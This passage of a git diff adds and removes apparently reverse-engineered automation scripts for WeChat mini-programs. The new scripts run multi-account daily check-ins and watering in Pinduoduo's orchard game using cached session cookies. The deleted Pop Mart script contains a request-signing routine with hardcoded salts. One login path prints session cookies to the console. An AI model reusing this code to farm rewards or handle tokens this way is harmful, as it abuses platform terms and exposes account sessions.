const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (result && typeof result === "object" && result.error !== undefined && result.error !== 0) { + const err = new Error(result.errorMsg || result.msg || JSON.stringify(result)); + err.code = result.error; + throw err; + } + return result?.data ?? result; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + apiPath: "/appLogin", + skipToken: true, + data: { + appType: 1, + principal: code, + }, + }); + this.applyToken(data); + this.saveCachedToken(); + // 登录回 200 但不带 userId 时,拿到的是无效会话:随后所有业务接口都会 + // 401(token已失效/缺少token令牌)。实测两种成因——wx_server 取码失败/限流拿到坏 code + // (最常见,稍后重试即可),或该微信号确实未在本店铺注册。都不该继续往下刷失败。 + if (!data.userId) { + this.unregistered = true; + $.log(`账号[${this.index}] ⚠️ 登录未返回 userId,会话无效(多为 wx_server 取码失败/限流,稍后重试;若持续如此则是该微信号未在本店铺注册)`); + return; + } + $.log(`账号[${this.index}] 登录成功: userId=${data.userId}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getUserInfo(false); + return true; + } catch (e) { + return false; + } + } + + async getUserInfo(log = true) { + const data = await this.request({ + method: "GET", + apiPath: "/p/user/userInfo", + }); + this.userInfo = { + ...this.userInfo, + ...data, + }; + this.saveCachedToken(); + if (log) $.log(`账号[${this.index}] 用户: ${data.nickName || ""} ${data.memberName || ""}`); + return data; + } + + async getPointsInfo() { + try { + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/pointsInfo/query", + }); + $.log(`账号[${this.index}] 积分: ${data?.pointsNums ?? "未知"} 连签=${data?.seriesDays ?? 0} 今日=${data?.signTodayResult ? "已签" : "未签"}`); + return data; + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + if (/token|登录|授权|401/i.test(String(e.message || e))) this.removeCachedToken(); + } + } + + async getSignList() { + try { + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/sign/list", + params: { v4Flag: true }, + }); + const today = formatDate(); + const todayItem = Array.isArray(data) ? data.find((item) => item?.isToday || item?.dateStr === today) : null; + this.todayDate = todayItem?.dateStr || today; + this.isTodaySign = Number(todayItem?.daySignStatus) === 2; + $.log(`账号[${this.index}] 签到状态: ${this.todayDate} ${this.isTodaySign ? "已签" : "未签"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询签到状态失败: ${e.message || e}`); + if (/token|登录|授权|401/i.test(String(e.message || e))) this.removeCachedToken(); + } + } + + async doSign() { + if (this.isTodaySign) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + try { + const date = (this.todayDate || formatDate()).replace(/-/g, "/"); + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/sign", + params: { date }, + }); + $.log(`账号[${this.index}] 签到成功: +${data?.signReward ?? "未知"}积分`); + } catch (e) { + const message = String(e.message || e); + if (/已签|重复|今日.*签/i.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (/token|登录|授权|401/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git "a/wxapp/pddgy-\345\205\254\344\274\227\345\217\267\347\211\210.js" "b/wxapp/pddgy-\345\205\254\344\274\227\345\217\267\347\211\210.js" new file mode 100644 index 00000000..ecc8589c --- /dev/null +++ "b/wxapp/pddgy-\345\205\254\344\274\227\345\217\267\347\211\210.js" @@ -0,0 +1,311 @@ +/* +------------------------------------------ +@Description: 拼多多果园公众号版(多多果园) - 微信小程序 code 静默登录 + 每日签到(+浇水) +cron: 28 9,13 * * * +------------------------------------------ +变量名:pddgy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx839691cce7c102bb,重风控站点): + + +登录 GET https://mobile.yangkeduo.com/garden_index_lz_0.html?_pdd_fs=1&_pdd_tc=676666&_pdd_sbs=1&fun_id=wechat_app_home&__wls_rt=1&__wls_lt=1&__wls_fm=b&code=${code}&state=BASE + Cookie = PDDAccessToken=; pdd_user_id=; pdd_user_uin=; + 鉴权=纯 Cookie(业务请求无 HMAC/签名),业务 URL 追加 ?pdduid= + 风控:暂无 +首页 POST /proxy/api/api/manor-query/proxy/home/page {..., tubetoken} + -> tubetoken(签到/浇水必需) / water_amount;error_code 40001 = Cookie 失效 +签到 POST /proxy/api/api/manor/common/apply/activity?pdduid= + body = {type:201811, params:{ui_id:3,type:2}, fun_id:"wechat_app_home", tubetoken, fun_pl:2} + -> error_code==0 / success==true 成功;已签常见 error_msg 含「已签/重复/已领取」 +浇水 POST /proxy/api/api/manor/water/cost {..., cost_water_amount:10, tubetoken}(附带,非核心,失败不影响签到判定) +app_id=33 / xcx_version / activity type 201811 均为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +业务基址 https://mobile.yangkeduo.com/proxy/api/api ,登录基址 https://api.pinduoduo.com 。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("拼多多果园公众号版"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "pddgy_gzh"; +const MINI_APP_ID = "wx839691cce7c102bb"; +const XCX_VERSION = "v8.6.21"; +const PDD_APP_ID = 33; +const API_BASE = "https://api.pinduoduo.com"; +const ORCHARD_BASE = "https://mobile.yangkeduo.com"; +const MANOR_BASE = ORCHARD_BASE + "/proxy/api/api"; +const CHECKIN_TYPE = 201811; +const MAX_WATER_TIMES = 20; // 附带浇水上限(非核心) +const TOKEN_CACHE_FILE = path.join(__dirname, "pddgy_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/19895 miniProgram/wx32540bd863b27570"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function asObj(d) { + if (d && typeof d === "object") return d; + if (typeof d === "string") { try { return JSON.parse(d); } catch { return {}; } } + return {}; +} +function extractUid(cookieStr) { + const m = /pdd_user_id=(\d+)/.exec(cookieStr || ""); + return m ? m[1] : ""; +} + +function okCode(res) { + if (!res) return false; + if (res.success === true) return true; + if (Number(res.error_code) === 0 && (res.error_code === 0 || res.error_code === "0")) return true; + if (res.code === 0) return true; + return false; +} +function respMsg(res) { + if (!res) return ""; + return res.error_msg || res.msg || res.message || res.errorMsg || ""; +} + +function get_accessToken(cookieStr) { + const m = /PDDAccessToken=(\d+)/.exec(cookieStr || ""); + return m ? m[1] : ""; +} +function get_pdd_user_id(cookieStr) { + const m = /pdd_user_id=(\d+)/.exec(cookieStr || ""); + return m ? m[1] : ""; +} +function get_pdd_user_uin(cookieStr) { + const m = /pdd_user_uin=(\d+)/.exec(cookieStr || ""); + return m ? m[1] : ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.cookieStr = ""; + this.pdduid = ""; + this.tubetoken = ""; + this.water = 0; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + this.log(`获取code: ${short(code, 12)}...`); + const loginBody = { + code, + has_auth: false, + app_id: PDD_APP_ID, + support_enhance_type: 3, + xcx_version: XCX_VERSION, + }; + const res = await axios.request({ + method: "GET", + url: `https://mobile.yangkeduo.com/garden_index_lz_0.html?_pdd_fs=1&_pdd_tc=676666&_pdd_sbs=1&fun_id=wechat_app_home&__wls_rt=1&__wls_lt=1&__wls_fm=b&code=${code}&state=BASE`, + //data: JSON.stringify(loginBody), + headers: { + "Content-Type": "application/json;charset=UTF-8", + "User-Agent": UA, + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/1840/page-frame.html`, + "x-xcx-queries": `mini_program_name=pdd;mp_theme_version=${XCX_VERSION}`, + xweb_xhr: "1", + }, + timeout: 20000, + validateStatus: () => true, + }); + + let setCookieStr = ""; + const sc = res.headers && res.headers["set-cookie"]; + if (sc) { + const arr = Array.isArray(sc) ? sc : [sc]; + setCookieStr = arr.map((c) => String(c).split(";")[0]).join("; "); + } + console.log(setCookieStr) + // 使用示例 + const accessToken = get_accessToken(setCookieStr); + const uid = get_pdd_user_id(setCookieStr); + const uin = get_pdd_user_uin(setCookieStr); + const acid = ""; + + const parts = [`PDDAccessToken=${accessToken}`, `pdd_user_id=${uid}`]; + if (uin) parts.push(`pdd_user_uin=${uin}`); + if (acid) parts.push(`acid=${acid}`); + if (setCookieStr) parts.push(setCookieStr); + + this.cookieStr = parts.join("; "); + this.pdduid = uid; + const cache = readCache(); + cache[this.account.openid] = { cookieStr: this.cookieStr, uid, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功 uid=${uid}`); + } + async manorPost(apiPath, body) { + const url = `${MANOR_BASE}${apiPath}${apiPath.includes("?") ? "&" : "?"}pdduid=${this.pdduid}`; + const res = await axios.request({ + method: "POST", + url, + data: JSON.stringify(body || {}), + headers: { + "User-Agent": UA, + Accept: "application/json, text/plain, */*", + "Content-Type": "application/json;charset=UTF-8", + Origin: ORCHARD_BASE, + Referer: `${ORCHARD_BASE}/garden_index_lz_0.html`, + Cookie: this.cookieStr, + }, + timeout: 20000, + validateStatus: () => true, + }); + return asObj(res.data); + } + // 首页:刷新 tubetoken + 水滴,同时用作 Cookie 有效性探测 + async getHomePage() { + const body = { + mission_type: 0, fun_id: "wechat_app_home", message_source: null, + page_type: "HOME_PAGE", push_source_mission_type: 0, fruit_config_version: "", + unlock_scene_version: "", app_home_click_icon_type: null, tubetoken: this.tubetoken, + push_act_source: null, need_show_home_popup: true, fun_pl: 2, + }; + const result = await this.manorPost("/manor-query/proxy/home/page", body); + if (!result || !result.user_manor_info) { this.log(` 首页校验失败(40001),Cookie 可能已过期`); return false; } + if (result.user_manor_info.tubetoken) this.tubetoken = result.user_manor_info.tubetoken; + if (result.user_manor_info.water_amount != null) this.water = result.user_manor_info.water_amount; + return !!this.tubetoken; + } + async getWater() { + const result = await this.manorPost("/manor-gateway/manor/query/user/water?is_back=1", {}); + return (result && result.water_amount) || 0; + } + async checkin() { + const body = { + type: CHECKIN_TYPE, + params: { ui_id: 3, type: 2 }, + fun_id: "wechat_app_home", + tubetoken: this.tubetoken, + fun_pl: 2, + }; + const res = await this.manorPost("/manor/common/apply/activity", body); + if (okCode(res)) { + const reward = res.water || res.reward_amount || (res.data && (res.data.water || res.data.reward_amount)) || ""; + this.log(`✅ 签到成功${reward ? `,+${reward}水滴` : ""}`); + return { ok: true }; + } + const msg = respMsg(res) || short(res); + if (/已签|签到过|重复|已领取|已完成|already|repeat/i.test(String(msg))) { + this.log(`✅ 今日已签到(${msg})`); + return { ok: true, already: true }; + } + // 风控类反馈 + if (/验证|风控|拦截|滑块|verify|forbidden/i.test(String(msg)) || Number(res.error_code) === 54002) { + this.blocked = true; + this.log(`⛔ 签到被风控拦截: ${msg}`); + return { ok: false, blocked: true, msg }; + } + this.log(`❌ 签到失败: ${msg}`); + return { ok: false, msg }; + } + // 附带浇水(非核心:失败/风控都不影响签到判定) + async waterTree() { + try { + let water = await this.getWater(); + if (water < 10) { this.log(` [浇水] 水滴 ${water} 不足10,跳过`); return; } + const count = Math.min(MAX_WATER_TIMES, Math.floor(water / 10)); + let watered = 0; + let curr = water; + for (let i = 0; i < count; i++) { + const body = { + atw: true, location_auth: false, last_stay_time: Math.floor(Math.random() * 40) + 10, + can_trigger_random_mission: false, product_scene: 0, minor: false, + ext_params: { can_trigger201824: true }, mission_type: 0, cost_water_amount: 10, + merge_cost: false, fun_id: "wechat_app_home", lower_end_device: false, + cost_water_competition_in_scene_icon: false, is_small_screen: true, + tubetoken: this.tubetoken, fun_pl: 2, + }; + const r = await this.manorPost("/manor/water/cost", body); + const left = r && r.now_water_amount; + if (left != null && left < curr) { curr = left; watered++; if (left < 10) break; await $.wait(200, 400); } + else break; + } + this.log(` [浇水] 完成 ${watered} 次,剩余水滴 ${curr}`); + } catch (e) { + this.log(` [浇水] 跳过: ${e.message || e}`); + } + } + async ensureSession() { + const cached = readCache()[this.account.openid] || {}; + if (!this.cookieStr && cached.cookieStr) { + this.cookieStr = cached.cookieStr; + this.pdduid = cached.uid || extractUid(this.cookieStr); + this.log("使用缓存Cookie"); + if (await this.getHomePage()) { this.log(`缓存有效,水滴=${this.water}`); return; } + this.log("缓存失效,重新登录"); + this.cookieStr = ""; this.pdduid = ""; this.tubetoken = ""; + } + if (!this.cookieStr) { + await this.login(); + if (!this.pdduid) this.pdduid = extractUid(this.cookieStr); + if (!(await this.getHomePage())) throw new Error("登录后首页加载失败(可能风控/Cookie无效)"); + this.log(`当前水滴=${this.water}`); + } + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureSession(); + const r = await this.checkin(); + await $.wait(500, 1000); + if (!r.blocked) await this.waterTree(); + } catch (e) { + const em = String(e.message || e); + if (em.startsWith("BLOCKED")) { + this.log(`⛔ ${em.replace(/^BLOCKED:/, "")}(拼多多重风控,需在小程序内手动过验证,脚本无法绕过)`); + return; + } + this.log(`执行失败: ${em}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/pddgy.js b/wxapp/pddgy.js new file mode 100644 index 00000000..6318a87c --- /dev/null +++ b/wxapp/pddgy.js @@ -0,0 +1,316 @@ +/* +------------------------------------------ +@Description: 拼多多果园(多多果园) - 微信小程序 code 静默登录 + 每日签到(+浇水) +cron: 26 9,13 * * * +------------------------------------------ +变量名:pddgy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx32540bd863b27570,重风控站点): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +登录 POST https://api.pinduoduo.com/login + body = {code, has_auth:false, app_id:33, support_enhance_type:3, xcx_version:"v8.6.21"} + -> data.access_token / data.uid(=pdd_user_id) / data.uin;并回收 Set-Cookie + Cookie = PDDAccessToken=; pdd_user_id=; pdd_user_uin=; + 鉴权=纯 Cookie(业务请求无 HMAC/签名),业务 URL 追加 ?pdduid= + 风控:error_code 54002=人机验证(滑块/图形码)、43042=风控拦截 → 无法绕过判 blocked +首页 POST /proxy/api/api/manor-query/proxy/home/page {..., tubetoken} + -> tubetoken(签到/浇水必需) / water_amount;error_code 40001 = Cookie 失效 +签到 POST /proxy/api/api/manor/common/apply/activity?pdduid= + body = {type:201811, params:{ui_id:3,type:2}, fun_id:"wechat_app_home", tubetoken, fun_pl:2} + -> error_code==0 / success==true 成功;已签常见 error_msg 含「已签/重复/已领取」 +浇水 POST /proxy/api/api/manor/water/cost {..., cost_water_amount:10, tubetoken}(附带,非核心,失败不影响签到判定) +app_id=33 / xcx_version / activity type 201811 均为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +业务基址 https://mobile.yangkeduo.com/proxy/api/api ,登录基址 https://api.pinduoduo.com 。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("拼多多果园签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "pddgy"; +const MINI_APP_ID = "wx32540bd863b27570"; +const XCX_VERSION = "v8.6.21"; +const PDD_APP_ID = 33; +const API_BASE = "https://api.pinduoduo.com"; +const ORCHARD_BASE = "https://mobile.yangkeduo.com"; +const MANOR_BASE = ORCHARD_BASE + "/proxy/api/api"; +const CHECKIN_TYPE = 201811; +const MAX_WATER_TIMES = 20; // 附带浇水上限(非核心) +const TOKEN_CACHE_FILE = path.join(__dirname, "pddgy_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/19895 miniProgram/wx32540bd863b27570"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function asObj(d) { + if (d && typeof d === "object") return d; + if (typeof d === "string") { try { return JSON.parse(d); } catch { return {}; } } + return {}; +} +function extractUid(cookieStr) { + const m = /pdd_user_id=(\d+)/.exec(cookieStr || ""); + return m ? m[1] : ""; +} +function okCode(res) { + if (!res) return false; + if (res.success === true) return true; + if (Number(res.error_code) === 0 && (res.error_code === 0 || res.error_code === "0")) return true; + if (res.code === 0) return true; + return false; +} +function respMsg(res) { + if (!res) return ""; + return res.error_msg || res.msg || res.message || res.errorMsg || ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.cookieStr = ""; + this.pdduid = ""; + this.tubetoken = ""; + this.water = 0; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + this.log(`获取code: ${short(code, 12)}...`); + const loginBody = { + code, + has_auth: false, + app_id: PDD_APP_ID, + support_enhance_type: 3, + xcx_version: XCX_VERSION, + }; + const res = await axios.request({ + method: "POST", + url: API_BASE + "/login", + data: JSON.stringify(loginBody), + headers: { + "Content-Type": "application/json;charset=UTF-8", + "User-Agent": UA, + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/1840/page-frame.html`, + "x-xcx-queries": `mini_program_name=pdd;mp_theme_version=${XCX_VERSION}`, + xweb_xhr: "1", + }, + timeout: 20000, + validateStatus: () => true, + }); + const result = asObj(res.data); + this.log(`登录返回: ${short(result, 260)}`); + + // 风控拦截:无 anti-content 无法绕过(滑块/图形验证码) + const ec = Number(result.error_code); + if (ec === 54002) { this.blocked = true; throw new Error("BLOCKED:登录触发54002人机验证(滑块/图形验证码),无 anti-content 无法绕过"); } + if (ec === 43042) { this.blocked = true; throw new Error("BLOCKED:43042风控验证失败,当前账号被风控拦截"); } + + const root = result.data || result; + const accessToken = root.access_token || root.token; + const uid = String(root.uid || root.user_id || ""); + const uin = root.uin || ""; + const acid = root.acid || ""; + if (!uid || !accessToken) { + // 无 token/uid 又非已知风控码:如信息含验证/风控类,同样按 blocked 处理 + const msg = respMsg(result) || short(result); + if (/验证|风控|拦截|滑块|verify|forbidden|安全/i.test(String(msg)) || ec === 40001) { + this.blocked = true; + throw new Error(`BLOCKED:登录被风控(error_code=${ec}) ${msg}`); + } + throw new Error(`登录未返回 uid/access_token: ${short(result)}`); + } + + let setCookieStr = ""; + const sc = res.headers && res.headers["set-cookie"]; + if (sc) { + const arr = Array.isArray(sc) ? sc : [sc]; + setCookieStr = arr.map((c) => String(c).split(";")[0]).join("; "); + } + const parts = [`PDDAccessToken=${accessToken}`, `pdd_user_id=${uid}`]; + if (uin) parts.push(`pdd_user_uin=${uin}`); + if (acid) parts.push(`acid=${acid}`); + if (setCookieStr) parts.push(setCookieStr); + + this.cookieStr = parts.join("; "); + this.pdduid = uid; + const cache = readCache(); + cache[this.account.openid] = { cookieStr: this.cookieStr, uid, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功 uid=${uid}`); + } + async manorPost(apiPath, body) { + const url = `${MANOR_BASE}${apiPath}${apiPath.includes("?") ? "&" : "?"}pdduid=${this.pdduid}`; + const res = await axios.request({ + method: "POST", + url, + data: JSON.stringify(body || {}), + headers: { + "User-Agent": UA, + Accept: "application/json, text/plain, */*", + "Content-Type": "application/json;charset=UTF-8", + Origin: ORCHARD_BASE, + Referer: `${ORCHARD_BASE}/garden_index_lz_0.html`, + Cookie: this.cookieStr, + }, + timeout: 20000, + validateStatus: () => true, + }); + return asObj(res.data); + } + // 首页:刷新 tubetoken + 水滴,同时用作 Cookie 有效性探测 + async getHomePage() { + const body = { + mission_type: 0, fun_id: "wechat_app_home", message_source: null, + page_type: "HOME_PAGE", push_source_mission_type: 0, fruit_config_version: "", + unlock_scene_version: "", app_home_click_icon_type: null, tubetoken: this.tubetoken, + push_act_source: null, need_show_home_popup: true, fun_pl: 2, + }; + const result = await this.manorPost("/manor-query/proxy/home/page", body); + if (!result || Object.keys(result).length === 0) return false; + const ec = Number(result.error_code); + if (ec === 40001) { this.log(` 首页校验失败(40001),Cookie 可能已过期`); return false; } + if (result.tubetoken) this.tubetoken = result.tubetoken; + if (result.water_amount != null) this.water = result.water_amount; + return !!this.tubetoken; + } + async getWater() { + const result = await this.manorPost("/manor-gateway/manor/query/user/water?is_back=1", {}); + return (result && result.water_amount) || 0; + } + async checkin() { + const body = { + type: CHECKIN_TYPE, + params: { ui_id: 3, type: 2 }, + fun_id: "wechat_app_home", + tubetoken: this.tubetoken, + fun_pl: 2, + }; + const res = await this.manorPost("/manor/common/apply/activity", body); + if (okCode(res)) { + const reward = res.water || res.reward_amount || (res.data && (res.data.water || res.data.reward_amount)) || ""; + this.log(`✅ 签到成功${reward ? `,+${reward}水滴` : ""}`); + return { ok: true }; + } + const msg = respMsg(res) || short(res); + if (/已签|签到过|重复|已领取|已完成|already|repeat/i.test(String(msg))) { + this.log(`✅ 今日已签到(${msg})`); + return { ok: true, already: true }; + } + // 风控类反馈 + if (/验证|风控|拦截|滑块|verify|forbidden/i.test(String(msg)) || Number(res.error_code) === 54002) { + this.blocked = true; + this.log(`⛔ 签到被风控拦截: ${msg}`); + return { ok: false, blocked: true, msg }; + } + this.log(`❌ 签到失败: ${msg}`); + return { ok: false, msg }; + } + // 附带浇水(非核心:失败/风控都不影响签到判定) + async waterTree() { + try { + let water = await this.getWater(); + if (water < 10) { this.log(` [浇水] 水滴 ${water} 不足10,跳过`); return; } + const count = Math.min(MAX_WATER_TIMES, Math.floor(water / 10)); + let watered = 0; + let curr = water; + for (let i = 0; i < count; i++) { + const body = { + atw: true, location_auth: false, last_stay_time: Math.floor(Math.random() * 40) + 10, + can_trigger_random_mission: false, product_scene: 0, minor: false, + ext_params: { can_trigger201824: true }, mission_type: 0, cost_water_amount: 10, + merge_cost: false, fun_id: "wechat_app_home", lower_end_device: false, + cost_water_competition_in_scene_icon: false, is_small_screen: true, + tubetoken: this.tubetoken, fun_pl: 2, + }; + const r = await this.manorPost("/manor/water/cost", body); + const left = r && r.now_water_amount; + if (left != null && left < curr) { curr = left; watered++; if (left < 10) break; await $.wait(200, 400); } + else break; + } + this.log(` [浇水] 完成 ${watered} 次,剩余水滴 ${curr}`); + } catch (e) { + this.log(` [浇水] 跳过: ${e.message || e}`); + } + } + async ensureSession() { + const cached = readCache()[this.account.openid] || {}; + if (!this.cookieStr && cached.cookieStr) { + this.cookieStr = cached.cookieStr; + this.pdduid = cached.uid || extractUid(this.cookieStr); + this.log("使用缓存Cookie"); + if (await this.getHomePage()) { this.log(`缓存有效,水滴=${this.water}`); return; } + this.log("缓存失效,重新登录"); + this.cookieStr = ""; this.pdduid = ""; this.tubetoken = ""; + } + if (!this.cookieStr) { + await this.login(); + if (!this.pdduid) this.pdduid = extractUid(this.cookieStr); + if (!(await this.getHomePage())) throw new Error("登录后首页加载失败(可能风控/Cookie无效)"); + this.log(`当前水滴=${this.water}`); + } + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureSession(); + const r = await this.checkin(); + await $.wait(500, 1000); + if (!r.blocked) await this.waterTree(); + } catch (e) { + const em = String(e.message || e); + if (em.startsWith("BLOCKED")) { + this.log(`⛔ ${em.replace(/^BLOCKED:/, "")}(拼多多重风控,需在小程序内手动过验证,脚本无法绕过)`); + return; + } + this.log(`执行失败: ${em}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/ppmt.js b/wxapp/ppmt.js deleted file mode 100644 index 602f8c85..00000000 --- a/wxapp/ppmt.js +++ /dev/null @@ -1,334 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 微信小程序泡泡玛特 ------------------------------------------- -抓user_id和openid和 分别在请求头和请求参数里面 用#连接 多账号&或换行 分开 或新建同名变量 -https://popvip.paquapp.com/miniapp/v2/wechat/getUserInfo/ -[Script] -http-response - -[MITM] -hostname = - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const $ = new Env("微信小程序泡泡玛特"); -let ckName = `paopaomate` -let userCookie = checkEnv($.isNode() ? process.env[ckName] : ""); -const notify = $.isNode() ? require("../sendNotify") : ""; - - - -!(async () => { - console.log( - `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( - new Date().getTime() + - new Date().getTimezoneOffset() * 60 * 1000 + - 8 * 60 * 60 * 1000 - ).toLocaleString()} \n==================================================` - ); - //console.log(userCookie) - if (!userCookie?.length) return console.log(`没有找到CK哦`) - let index = 0; - let strSplitor = "#"; - - for (let user of userCookie) { - $.log(`\n🚀 user:【${index || ++index}】 start work\n`) - $.id = user.split(strSplitor)[0] - $.openid = user.split(strSplitor)[1] - $.ckStatus = false - await UserInfo($.id, $.openid) - if ($.ckStatus) { - await SignIn($.openid) - } - - } - - await $.sendMsg($.logs.join("\n")); -})().catch((e) => console.log(e)).finally(() => $.done()); -function base64Encode(data) { - const buffer = Buffer.from(data); - return buffer.toString('base64'); -} -function getSign(t, e, n) { - function md5(data) { - const crypto = require('crypto'); - return crypto.createHash('md5').update(data).digest('hex'); - } - function d(t, e, n) { - var o = {}; - Object.keys(t).sort().forEach((function (n) { - o[n] = "POST" === e ? t[n] : t[n].toString() - } - )), - o.version = "5.0.34"; - var s = (new Date).getTime().toString() - , c = JSON.stringify(o) + "PopMartminiApp1117" + s - , u = md5(c); - return t.sign = n ? md5(base64Encode(u + "PopMartminiApp0314")) : u, - t.time = s, - t.version = "5.0.34", - t - } - - return d(t, e, n) -} -async function SignIn() { - let { 